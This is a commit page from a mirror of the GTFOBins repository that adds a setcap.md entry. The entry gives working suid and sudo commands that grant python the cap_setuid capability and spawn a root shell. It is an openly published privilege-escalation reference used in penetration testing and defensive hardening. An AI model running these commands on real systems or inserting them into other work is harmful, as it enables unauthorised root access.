mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Create setcap.md
Adding setcap suid and sudo exploits
This commit is contained in:
parent
2afe22a27b
commit
7c09fc2506
15
_gtfobins/setcap.md
Normal file
15
_gtfobins/setcap.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
description: sets and removes capabilities on files
|
||||||
|
functions:
|
||||||
|
suid:
|
||||||
|
- description: Can be used to give and capabilities to other files. cap_setuid for example gives an executable permissions to switch uid.
|
||||||
|
code: |
|
||||||
|
cp $(which python) .
|
||||||
|
setcap cap_setuid+ep python
|
||||||
|
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
cp $(which python) .
|
||||||
|
sudo setcap cap_setuid+ep python
|
||||||
|
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user